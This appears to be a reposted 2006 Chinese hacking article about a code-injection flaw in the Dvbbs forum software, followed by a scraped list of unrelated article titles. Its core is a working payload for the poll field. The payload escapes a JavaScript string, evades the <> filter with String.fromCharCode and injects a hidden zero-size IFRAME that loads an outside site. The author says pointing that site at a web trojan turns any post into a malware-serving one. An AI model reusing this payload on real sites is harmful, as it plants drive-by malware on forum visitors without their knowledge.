动网的提权漏洞

来源：百度文库编辑：神马文学网时间：2024/04/19 23:14:39

文章作者：优格[GXU] （www.wuzhou.org）
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
原文下载：http://www.wuzhou.org/dvbbs.doc
前段时间focn等人发现了动网的提权漏洞，这漏洞可是闹得天翻地覆的，连当当网论坛也给挂上马了。正是这个漏洞盖住了动网的其他漏洞，使动网的其他漏洞少为人知。
相信大家都看过《终结动网最新挂马方法！》的文章了，其实这个漏洞已经出现了大概半月了，后来才被公布出来。利用方法就是在“修改个人联系方法”中的“个人主页”写入代码：
CODE:

[Copy to clipboard]
在MSN中写入代码：
CODE:

[Copy to clipboard]
其中ssssssssss是我们自由写入的，那么我们能不能对源文件进行欺骗，从而让它运行我们的代码呢？打个比方，一个括号：（），当我们在（）内写进）和（，那就变成了两个括号。道理是相同的，我们也可以这样进行代码欺骗。我们在发表投票中写入：
CODE:
‘;var votenum=‘0‘;var votetype=‘0‘;var voters=‘0‘;
[Copy to clipboard]
代码是无法执行的，动网进行了过滤。再次饶过思路，动网只是对<和>进行过滤，对+‘/等符号没有过滤。再次在投票那写入代码：
CODE:
‘;document.all.popmenu.innerHTML=document.all.popmenu.innerHTML+String.fromCharCode(60)+‘IFRAME frameBorder=0 height=0 marginHeight=0 marginWidth=0 scrolling=no src=http://www.wuzhou.org width=0‘+String.fromCharCode(62)+String.fromCharCode(60)+‘/IFRAME‘+String.fromCharCode(62);var vote=‘1
[Copy to clipboard]
如图：

发表后成功跳转了www.wuzhou.org这个站。如果我们把站改成我们的网页木马，那么一个木马贴就这样完成了。其实这只是动网代码欺骗的一小部分，还有不少的地方可以进行代码欺骗，比如用户头像，联系方法等。
后记：现在很多的程序作者并没有看到到代码欺骗这安全危害，在我看的很多网站程序，不管是asp还是php的，都有许多程序可以进行代码欺骗，希望这篇文章能起到抛砖引玉的效果,让各位朋友找到更多的漏洞。
- 作者：haicao 2006年03月10日, 星期五 08:34回复（0） |引用（0）加入博采
_xyz

动网的提权漏洞动网论坛权限提升漏洞 GOOGLE的摄像头漏洞 GOOGLE的摄像头漏洞 GOOGLE的摄像头漏洞心灵的漏洞！心灵的漏洞心灵的漏洞经典：心灵的漏洞心灵的漏洞心灵的漏洞. 心灵的漏洞01 漏洞! 有漏洞的Web 2.0 心灵的漏洞 - Qzone日志女儿的另一个漏洞：语文心灵的漏洞------心灵的鸡汤心灵的漏洞--- 心灵的鸡汤中国国家安全上的四大致命漏洞漏洞利用的方法之研究民主规则的漏洞：故事二则劳动合同法的十九个漏洞和缺陷黑客如何查找隐藏的互联网网络安全漏洞民主规则的漏洞：故事二则